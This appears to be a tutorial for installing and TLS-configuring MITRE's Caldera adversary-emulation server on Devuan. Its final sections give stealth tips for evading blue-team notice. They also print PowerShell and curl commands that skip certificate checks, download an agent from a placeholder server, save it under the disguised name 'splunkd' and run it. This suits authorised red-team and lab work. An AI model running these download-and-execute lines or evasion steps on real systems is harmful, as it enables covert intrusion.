Virtual Machine Setup
- Devuan 5 (effectively Debian 12 bookworm)
- Single network interface (eth0)
- Internet access for Caldera/repo access
- 2 CPU cores and 8GB of ram - Suggestion but can probably be lower
We'll start the instructions here assuming that Devuan is already installed and fully updated. The default Devuan install will need some modifications to apt's sources.list file, mainly that contrib and non-free sources will need to be added. This can be easily accomplished with sed as the root user. With apt configured properly, most of the rest of the system dependencies can be installed.
In order to save space on the system, the second and third commands are intentionally two separate commands! There is one dependency that is still needed and while the package is available in the repositories, it's currently not packaged for Devuan 5/Debian 12. None the less, it can still be pulled and installed without issues from an older release of Devuan/Debian. The package is upx-ucl. NOTE: Make sure to get the one for the proper CPU architecture of the system (the system in this guide is an x86_64).
Caldera Installation
At this point, all of the system-wide dependencies should be installed. The next steps will proceed as the non-root user that caldera will be run as. For the purposes of this article the username of 'user' will be used.
The above will clone Caldera into a folder located at /home/user/caldera. For the purposes of not trampling on system python libraries and due to Mitre providing a requirements.txt file, a python virtual environment will be used to maintain the required dependencies for Caldera.
Notice that the prompt will change once the python virtual environment has been activated! This is important in order to install Caldera's dependencies into the Caldera virtual environment. For more information about python virtual environments, check out this article about why to use them.
If all goes well with pip3 installing the requirements. It's time to build the web interface. If Caldera is going to be used via remote systems, ie not accessed from the machine that Caldera is installed on, there is one change that needs to be done before building the server.
At this point Caldera can be launched and run on the default ports without encryption. NOTE: The --build part needs to be run and complete at least once before moving on to the rest of this guide!
Now from another machine, navigate to http://<CALDRA_IP>:8888 and login with the default credentials of red/admin or blue/admin depending on which "team" you're wanting to leverage.
TLS Configuration
Once it is confirmed that Caldera is working or if just skipping ahead to get the TLS configuration, ensure Caldera isn't currently running (ctrl+c will stop caldera if it was launched following the previous instructions). The first thing that needs to be done is the creation of a certificate and associated key. Some thought should be placed into this step as the normal process will generate a self-signed certificate which comes with its own set of problems. Regardless, this guide will continue with a self-signed cert.
Openssl will prompt for some of the fields to be set in the certificate. It is highly recommended to change these from the defaults.
The next step is to configure haproxy to use this certificate. Mitre provides a haproxy template where all that needs configured is the path to the certificate.
The final step is to enable the Caldera SSL plugin in the configuration file.
Final System Configuration
With the certificate and associated key configured, there are a few system tasks that need to be configured now. The first is that the user's enviornment path variable is unlikely to contain the path necessary for Caldera to call haproxy. On Devuan if the user's path is compared to the location of haproxy on the system, one can see that there is a disconnect.
(caldera) user@Devuan:~/caldera$ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games (caldera) user@Devuan:~/caldera$ ls -l /usr/sbin/haproxy -rwxr-xr-x 1 root root 3140224 Dec 16 10:41 /usr/sbin/haproxy
As can be seen, user's path doesn't include the /usr/sbin directory. Easy fix by adding it to the user's path variable in the ~/.bashrc file.
The next step necessary is to configure the system to allow the user to raise the number of open file descriptors as needed by haproxy. PAM on Linux systems will easily allow this to occur (need root privileges to do this). In order for the previous changes to take effect, a logout and login will be needed.
Finally! At this point, Caldera should be setup and the system configured to allow a non-root user to launch caldera.
Extra OPSEC item
If one is looking to keep things a bit more stealthy, it would be wise to leverage iptables/nftables to port redirect TCP/443 (normal HTTPS port) to TCP/8443 (Caldera's default https port when running as a non-root user). The below iptables commands will redirect inbound TCP/443 to TCP/8443 and it will redirect outbound TCP/8443 to TCP/443!
NOTE: These iptables rules are one offs and would need to be run every time the system is rebooted and other existing rules need to checked to ensure the rules are placed appropriately on the system. If interested in making these rules persistent, check out the iptables-save command from iptables-persistent package in Devuan/Debian!
Using with agents
With the above code, caldera agents can now be pointed to standard https:// links rather than having to specify a port as well (ports aren't common in URL's and might seem suspicious to blue team analysts). One point to keep in mind is that this guide is using a self-signed cert so in order for common operating system tools to trust the cert, insecure flags will need to be used.
For the Powershell agent download, the following string can be added to Calreda's commands to instruct Powershell to ignore the self-signed certificate.
Make sure that the code snippet goes before the actual call to download the file. For example in the standard sandcat agent:
$server="https://<SERVER_IP_OR_HOSTNAME>";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$data=$wc.DownloadData($url);
[... Truncated ...]
Similar functionality exists for the Linux agents as well. To do this with the Linux agents a curl argument to not check certificates (--insecure or -k) can be added to Caldera's commands.
server="https://<SERVER_IP_OR_HOSTNAME>"; curl -s --insecure -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > splunkd; chmod +x splunkd; ./splunkd -server $server -group red -v
Calderad Service?
If there's interest, I've also written up an init script/program to start, stop, and restart Caldera as configured above as a system service. I'd be happy to share the conf files if desired (may end up throwing them into a repo as well, I'll update this article with links if I do).
